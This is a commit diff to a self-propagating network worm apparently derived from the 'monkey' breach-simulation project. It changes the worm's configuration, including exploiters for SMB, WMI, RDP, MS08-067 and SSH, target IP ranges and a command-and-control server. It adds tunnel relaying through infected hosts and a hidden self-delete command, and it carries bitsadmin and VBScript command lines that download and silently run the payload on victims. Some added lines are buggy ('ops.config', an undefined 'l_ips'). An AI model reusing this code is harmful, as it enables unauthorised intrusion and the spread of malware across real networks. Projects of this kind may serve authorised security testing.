forked from p34709852/monkey
added default tunnel is the exploiter
added self delete on cleanup fixed argument parsing
This commit is contained in:
parent
fe146c13cc
commit
6169f1f42e
|
@ -98,17 +98,19 @@ class Configuration(object):
|
|||
|
||||
alive = True
|
||||
|
||||
self_delete_in_cleanup = True
|
||||
|
||||
singleton_mutex_name = "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
|
||||
# how long to wait between scan iterations
|
||||
timeout_between_iterations = 10
|
||||
timeout_between_iterations = 300
|
||||
|
||||
# how many scan iterations to perform on each run
|
||||
max_iterations = 3
|
||||
|
||||
scanner_class = TcpScanner
|
||||
finger_classes = (PingScanner, SSHFinger, SMBFinger)
|
||||
exploiter_classes = (SSHExploiter, SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter)
|
||||
finger_classes = (SMBFinger, SSHFinger, PingScanner)
|
||||
exploiter_classes = (SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, SSHExploiter)
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
victims_max_find = 14
|
||||
|
@ -120,7 +122,9 @@ class Configuration(object):
|
|||
|
||||
command_servers = ["russian-mail-brides.com:5000"]
|
||||
|
||||
serialize_config = True
|
||||
serialize_config = False
|
||||
|
||||
retry_failed_explotation = True
|
||||
|
||||
###########################
|
||||
### scanners config
|
||||
|
@ -130,10 +134,10 @@ class Configuration(object):
|
|||
#range_class = RelativeRange
|
||||
range_size = 8
|
||||
range_class = FixedRange
|
||||
range_fixed = ("10.0.0.9", "10.0.0.13", "192.168.1.87")
|
||||
range_fixed = ("10.0.0.9", "10.0.0.13", "192.168.1.100", "192.168.1.95", "50.50.50.56", "50.50.50.4")
|
||||
|
||||
# TCP Scanner
|
||||
tcp_target_ports = [22, 445, 135, 3389]
|
||||
tcp_target_ports = [22, 2222, 445, 135, 3389]
|
||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||
tcp_scan_interval = 200
|
||||
tcp_scan_get_banner = True
|
||||
|
|
|
@ -23,7 +23,7 @@ class ControlClient(object):
|
|||
proxies = {}
|
||||
|
||||
@staticmethod
|
||||
def wakeup(parent=None):
|
||||
def wakeup(parent=None, default_tunnel=None):
|
||||
for server in WormConfiguration.command_servers:
|
||||
try:
|
||||
hostname = gethostname()
|
||||
|
@ -59,7 +59,7 @@ class ControlClient(object):
|
|||
if not WormConfiguration.current_server:
|
||||
if not ControlClient.proxies:
|
||||
LOG.info("Starting tunnel lookup...")
|
||||
proxy_find = tunnel.find_tunnel()
|
||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||
if proxy_find:
|
||||
LOG.info("Found tunnel at %s:%s" % proxy_find)
|
||||
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find
|
||||
|
|
|
@ -102,6 +102,9 @@ class SmbExploiter(HostExploiter):
|
|||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
|
||||
|
||||
if host.default_tunnel:
|
||||
cmdline += " -t " + host.default_tunnel
|
||||
|
||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
|
||||
rpctransport.set_dport(port)
|
||||
|
|
|
@ -116,7 +116,11 @@ class SSHExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
try:
|
||||
cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
if host.default_tunnel:
|
||||
cmdline += " -t " + host.default_tunnel
|
||||
|
||||
cmdline += "&"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
|
|
|
@ -250,6 +250,8 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
|
||||
if host.default_tunnel:
|
||||
cmdline += " -t " + host.default_tunnel
|
||||
|
||||
try:
|
||||
sock.send("start %s\r\n" % (cmdline, ))
|
||||
|
|
|
@ -84,6 +84,9 @@ class WmiExploiter(HostExploiter):
|
|||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
|
||||
if host.default_tunnel:
|
||||
cmdline += " -t " + host.default_tunnel
|
||||
|
||||
# execute the remote monkey
|
||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
||||
ntpath.split(remote_full_path)[0],
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
|
@ -8,7 +7,7 @@ from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
|||
from model import MONKEY_ARG, DROPPER_ARG
|
||||
from dropper import MonkeyDrops
|
||||
from monkey import ChaosMonkey
|
||||
import getopt
|
||||
import argparse
|
||||
import json
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -44,11 +43,11 @@ def main():
|
|||
|
||||
config_file = EXTERNAL_CONFIG_FILE
|
||||
|
||||
opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="])
|
||||
for op, val in opts:
|
||||
if op in ("-c", "--config"):
|
||||
config_file = val
|
||||
break
|
||||
arg_parser = argparse.ArgumentParser()
|
||||
arg_parser.add_argument('-c', '--config')
|
||||
opts, monkey_args = arg_parser.parse_known_args(sys.argv[2:])
|
||||
if opts.config:
|
||||
config_file = ops.config
|
||||
|
||||
if os.path.isfile(config_file):
|
||||
# using print because config can also change log locations
|
||||
|
|
|
@ -9,5 +9,6 @@ MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_AR
|
|||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||
|
||||
from host import VictimHost
|
|
@ -7,6 +7,7 @@ class VictimHost(object):
|
|||
self.os = {}
|
||||
self.services = {}
|
||||
self.monkey_exe = None
|
||||
self.default_tunnel = None
|
||||
|
||||
def as_dict(self):
|
||||
return self.__dict__
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
import logging
|
||||
import platform
|
||||
|
@ -9,7 +9,9 @@ from control import ControlClient
|
|||
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||
from network.network_scanner import NetworkScanner
|
||||
import tunnel
|
||||
import getopt
|
||||
import argparse
|
||||
import subprocess
|
||||
from model import DELAY_DELETE_CMD
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -31,6 +33,7 @@ class ChaosMonkey(object):
|
|||
self._fail_exploitation_machines = set()
|
||||
self._singleton = SystemSingleton()
|
||||
self._parent = None
|
||||
self._default_tunnel = None
|
||||
self._args = args
|
||||
|
||||
def initialize(self):
|
||||
|
@ -39,12 +42,13 @@ class ChaosMonkey(object):
|
|||
if not self._singleton.try_lock():
|
||||
raise Exception("Another instance of the monkey is already running")
|
||||
|
||||
opts, self._args = getopt.getopt(self._args, "p:", ["parent="])
|
||||
for op, val in opts:
|
||||
if op in ("-p", "--parent"):
|
||||
self._parent = val
|
||||
break
|
||||
|
||||
arg_parser = argparse.ArgumentParser()
|
||||
arg_parser.add_argument('-p', '--parent')
|
||||
arg_parser.add_argument('-t', '--tunnel')
|
||||
opts, self._args = arg_parser.parse_known_args(self._args)
|
||||
|
||||
self._parent = opts.parent
|
||||
self._default_tunnel = opts.tunnel
|
||||
self._keep_running = True
|
||||
self._network = NetworkScanner()
|
||||
self._dropper_path = sys.argv[0]
|
||||
|
@ -56,7 +60,7 @@ class ChaosMonkey(object):
|
|||
if firewall.is_enabled():
|
||||
firewall.add_firewall_rule()
|
||||
|
||||
ControlClient.wakeup(self._parent)
|
||||
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
|
||||
|
||||
monkey_tunnel = ControlClient.create_control_tunnel()
|
||||
if monkey_tunnel:
|
||||
|
@ -93,11 +97,19 @@ class ChaosMonkey(object):
|
|||
machine)
|
||||
continue
|
||||
elif machine in self._fail_exploitation_machines:
|
||||
LOG.debug("Skipping %r - exploitation failed before",
|
||||
machine)
|
||||
continue
|
||||
if WormConfiguration.retry_failed_explotation:
|
||||
LOG.debug("%r - exploitation failed before, trying again",
|
||||
machine)
|
||||
else:
|
||||
LOG.debug("Skipping %r - exploitation failed before",
|
||||
machine)
|
||||
continue
|
||||
|
||||
successful_exploiter = None
|
||||
|
||||
if monkey_tunnel:
|
||||
monkey_tunnel.set_tunnel_for_host(machine)
|
||||
|
||||
for exploiter in self._exploiters:
|
||||
if not exploiter.is_os_supported(machine):
|
||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||
|
@ -139,8 +151,10 @@ class ChaosMonkey(object):
|
|||
|
||||
time.sleep(WormConfiguration.timeout_between_iterations)
|
||||
|
||||
if self._keep_running:
|
||||
if self._keep_running and WormConfiguration.alive:
|
||||
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
||||
elif not WormConfiguration.alive:
|
||||
LOG.info("Marked not alive from configuration")
|
||||
|
||||
if monkey_tunnel:
|
||||
monkey_tunnel.stop()
|
||||
|
@ -157,3 +171,18 @@ class ChaosMonkey(object):
|
|||
tunnel.quit_tunnel(tunnel_address)
|
||||
|
||||
firewall.close()
|
||||
|
||||
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
|
||||
try:
|
||||
if "win32" == sys.platform:
|
||||
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
||||
startupinfo = subprocess.STARTUPINFO()
|
||||
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
|
||||
startupinfo.wShowWindow = SW_HIDE
|
||||
subprocess.Popen(DELAY_DELETE_CMD % {'file_path' : sys.executable},
|
||||
stdin=None, stdout=None, stderr=None,
|
||||
close_fds=True, startupinfo=startupinfo)
|
||||
else:
|
||||
os.remove(sys.executable)
|
||||
except Exception, exc:
|
||||
LOG.error("Exception in self delete: %s",exc)
|
||||
|
|
|
@ -6,6 +6,7 @@ from network.info import local_ips, get_free_tcp_port
|
|||
from network.firewall import app as firewall
|
||||
from difflib import get_close_matches
|
||||
from network.tools import check_port_tcp
|
||||
from model import VictimHost
|
||||
import time
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
@ -29,7 +30,7 @@ def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
|
|||
return sock
|
||||
|
||||
|
||||
def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||
def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||
sock = _set_multicast_socket(timeout)
|
||||
|
||||
l_ips = local_ips()
|
||||
|
@ -38,6 +39,8 @@ def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
try:
|
||||
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
|
||||
tunnels = []
|
||||
if default:
|
||||
tunnels.append(default)
|
||||
|
||||
while True:
|
||||
try:
|
||||
|
@ -52,17 +55,18 @@ def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
address, port = tunnel.split(':', 1)
|
||||
if address in l_ips:
|
||||
continue
|
||||
|
||||
LOG.debug("Checking tunnel %s:%d" % (address, port))
|
||||
|
||||
LOG.debug("Checking tunnel %s:%s", address, port)
|
||||
is_open,_ = check_port_tcp(address, int(port))
|
||||
if not is_open:
|
||||
LOG.debug("Could not connect to %s:%d" % (address, port))
|
||||
LOG.debug("Could not connect to %s:%s", address, port)
|
||||
continue
|
||||
|
||||
sock.sendto("+", (address, MCAST_PORT))
|
||||
sock.close()
|
||||
return (address, port)
|
||||
except:
|
||||
except Exception, exc:
|
||||
LOG.debug("Caught exception in tunnel lookup: %s", exc)
|
||||
continue
|
||||
|
||||
return None
|
||||
|
@ -87,6 +91,7 @@ class MonkeyTunnel(Thread):
|
|||
self._timeout = timeout
|
||||
self._stopped = False
|
||||
self._clients = []
|
||||
self.local_port = None
|
||||
super(MonkeyTunnel, self).__init__()
|
||||
self.daemon = True
|
||||
|
||||
|
@ -95,17 +100,17 @@ class MonkeyTunnel(Thread):
|
|||
|
||||
l_ips = local_ips()
|
||||
|
||||
local_port = get_free_tcp_port()
|
||||
self.local_port = get_free_tcp_port()
|
||||
|
||||
if not local_port:
|
||||
if not self.local_port:
|
||||
return
|
||||
|
||||
if not firewall.listen_allowed(localport=local_port):
|
||||
if not firewall.listen_allowed(localport=self.local_port):
|
||||
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
|
||||
return
|
||||
|
||||
proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port)
|
||||
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port)
|
||||
proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port)
|
||||
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, self.local_port)
|
||||
proxy.start()
|
||||
|
||||
while not self._stopped:
|
||||
|
@ -114,9 +119,9 @@ class MonkeyTunnel(Thread):
|
|||
if '?' == search:
|
||||
ip_match = get_close_matches(address[0], l_ips) or l_ips
|
||||
if ip_match:
|
||||
answer = '%s:%d' % (ip_match[0], local_port)
|
||||
answer = '%s:%d' % (ip_match[0], self.local_port)
|
||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||
self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT))
|
||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
||||
elif '+' == search:
|
||||
if not address[0] in self._clients:
|
||||
self._clients.append(address[0])
|
||||
|
@ -140,5 +145,10 @@ class MonkeyTunnel(Thread):
|
|||
proxy.stop()
|
||||
proxy.join()
|
||||
|
||||
def set_tunnel_for_host(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
ip_match = get_close_matches(host.ip_addr, local_ips()) or l_ips
|
||||
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
|
||||
|
||||
def stop(self):
|
||||
self._stopped = True
|
Loading…
Reference in New Issue